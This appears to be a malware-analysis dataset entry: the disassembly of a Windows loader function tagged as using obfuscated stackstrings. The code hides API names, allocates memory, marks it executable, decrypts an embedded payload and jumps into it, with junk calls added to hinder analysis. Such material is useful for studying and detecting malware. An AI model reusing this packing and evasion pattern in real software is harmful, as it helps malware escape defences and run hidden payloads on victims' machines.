Function at 0x401130
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa4c
mov eax, dword [0x423d60]
xor eax, ebp
mov dword [ebp - 8], eax
push 0x5337b8
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x8aacc
jne 0x401238
mov dword [ebp - 0xa3c], 0x425060
mov eax, dword [ebp - 0xa3c]
add eax, 1
mov dword [ebp - 0xa40], eax
mov ecx, dword [ebp - 0xa3c]
mov dl, byte [ecx]
mov byte [ebp - 0xa41], dl
add dword [ebp - 0xa3c], 1
cmp byte [ebp - 0xa41], 0
jne 0x401172
mov eax, dword [ebp - 0xa3c]
sub eax, dword [ebp - 0xa40]
mov dword [ebp - 0xa48], eax
cmp dword [ebp - 0xa48], 0x90173
jne 0x401238
sub esp, 8
fld qword [0x41b2e0]
fstp qword [esp]
call fcn.00408d00
fstp st(0)
add esp, 8
push 1
push 3
lea ecx, [ebp - 0x8b8]
call fcn.00401a30
lea ecx, [ebp - 0x8b8]
test ecx, ecx
je 0x4011f2
lea edx, [ebp - 0x8b8]
add edx, 0x10
mov dword [ebp - 0xa4c], edx
jmp 0x4011fc
mov dword [ebp - 0xa4c], 0
push str.kuhonivasowomaza
mov eax, dword [ebp - 0xa4c]
push eax
call fcn.00404a60
push 0x199abbfc
lea ecx, [ebp - 0x8a8]
call fcn.004015f0
call dword [sym.imp.ole32.dll_CoGetCurrentProcess]
push 0
call fcn.00408c8a
add esp, 4
lea ecx, [ebp - 0x8b8]
call fcn.004015c0
mov dword [ebp - 0x8bc], 0
jmp 0x401253
mov ecx, dword [ebp - 0x8bc]
add ecx, 1
mov dword [ebp - 0x8bc], ecx
cmp dword [ebp - 0x8bc], 0x20759a04
jge 0x4012bc
lea edx, [ebp - 0x9e8]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCPInfoExA]
cmp dword [ebp - 0x8bc], 0x23a6
jge 0x401292
push 0
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
cmp dword [ebp - 0x8bc], 0x21b54
jle 0x4012ba
movzx eax, word [ebp - 0x9d6]
cmp eax, 0x62edb11b
je 0x4012ba
cmp dword [ebp - 0x8c4], 0x3aac62a8
je 0x4012ba
jmp 0x4012bc
jmp 0x401244
mov ecx, dword [0x423810]
mov dword [0x536a08], ecx
mov edx, dword [0x536a08]
add edx, 0x3343d
mov dword [0x536a08], edx
mov dword [ebp - 0x9ec], 0
jmp 0x4012f5
mov eax, dword [ebp - 0x9ec]
add eax, 1
mov dword [ebp - 0x9ec], eax
cmp dword [ebp - 0x9ec], 0x411fea
jge 0x40131f
cmp dword [ebp - 0x9ec], 0x2506bc
jne 0x40131d
push 0x41b1c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [0x5337b4], eax
jmp 0x4012e6
mov byte [ebp - 0x403], 0x41
mov byte [ebp - 0x406], 0x63
mov byte [ebp - 0x400], 0x6f
mov byte [ebp - 0x401], 0x6c
mov byte [ebp - 0x408], 0x4c
mov byte [ebp - 0x3ff], 0x63
mov byte [ebp - 0x405], 0x61
mov byte [ebp - 0x404], 0x6c
mov byte [ebp - 0x402], 0x6c
mov byte [ebp - 0x407], 0x6f
mov byte [ebp - 0x3fe], 0
mov dword [ebp - 0x9f0], 0
jmp 0x401387
mov ecx, dword [ebp - 0x9f0]
add ecx, 1
mov dword [ebp - 0x9f0], ecx
cmp dword [ebp - 0x9f0], 0x1dcc9c
jge 0x4013b9
cmp dword [ebp - 0x9f0], 0x6d79a
jne 0x4013b7
lea edx, [ebp - 0x408]
push edx
mov eax, dword [0x5337b4]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43ccdc], eax
jmp 0x401378
mov ecx, dword [0x536a08]
push ecx
push 0
call dword [0x43ccdc]
mov dword [0x43ccd8], eax
mov dword [ebp - 0x9f4], 0
jmp 0x4013e8
mov edx, dword [ebp - 0x9f4]
add edx, 1
mov dword [ebp - 0x9f4], edx
cmp dword [ebp - 0x9f4], 0x543ec6
jge 0x401428
cmp dword [ebp - 0x9f4], 0x340471
jne 0x40140a
mov eax, dword [0x423804]
mov dword [0x536a0c], eax
cmp dword [ebp - 0x9f4], 0x177
jge 0x401426
push str.yevetizababagewo_xodocesapajayeyazedexisu_mi
push str.jitezapuvayitolohurejevutusibe_bicixidusawericecizaxafixobamo
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointA]
jmp 0x4013d9
mov dword [ebp - 0x9f8], 0
jmp 0x401443
mov ecx, dword [ebp - 0x9f8]
add ecx, 1
mov dword [ebp - 0x9f8], ecx
mov edx, dword [ebp - 0x9f8]
cmp edx, dword [0x536a08]
jae 0x401497
cmp dword [ebp - 0x9f8], 0x9b3
jge 0x401475
lea eax, [ebp - 0xa38]
push eax
push str.doyomuhosadegumofipasi_cajocowenodipe_cecidujuciyexawe
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindActCtxSectionStringW]
mov ecx, dword [0x43ccd8]
add ecx, dword [ebp - 0x9f8]
mov edx, dword [0x536a0c]
add edx, dword [ebp - 0x9f8]
mov al, byte [edx + 0x3343d]
mov byte [ecx], al
jmp 0x401434
mov dword [ebp - 0x80c], 0xbb
sub dword [ebp - 0x80c], 0x7b
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x5337b4], eax
mov byte [ebp - 0x7ff], 0x6f
mov byte [ebp - 0x7fd], 0x65
mov byte [ebp - 0x7fb], 0x74
mov byte [ebp - 0x801], 0x50
mov byte [ebp - 0x7fc], 0x63
mov byte [ebp - 0x807], 0x69
mov byte [ebp - 0x806], 0x72
mov byte [ebp - 0x804], 0x75
mov byte [ebp - 0x803], 0x61
mov byte [ebp - 0x805], 0x74
mov byte [ebp - 0x808], 0x56
mov byte [ebp - 0x802], 0x6c
mov byte [ebp - 0x800], 0x72
mov byte [ebp - 0x7fe], 0x74
mov byte [ebp - 0x7fa], 0
lea ecx, [ebp - 0x808]
push ecx
mov edx, dword [0x5337b4]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x43ccd4], eax
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 0x80c]
push ecx
mov edx, dword [0x536a08]
push edx
mov eax, dword [0x43ccd8]
push eax
call dword [0x43ccd4]
push section..data
mov ecx, dword [0x536a08]
push ecx
mov edx, dword [0x43ccd8]
push edx
call fcn.004010e0
nop
add dword [0x536a08], 0x106ebc58
call dword [0x43ccd8]
mov eax, dword [0x536c3c]
mov ecx, dword fs:[0x2c]
mov edx, dword [ecx + eax*4]
mov dword [edx + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor eax, eax
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00408e96
mov esp, ebp
pop ebp
ret 0x10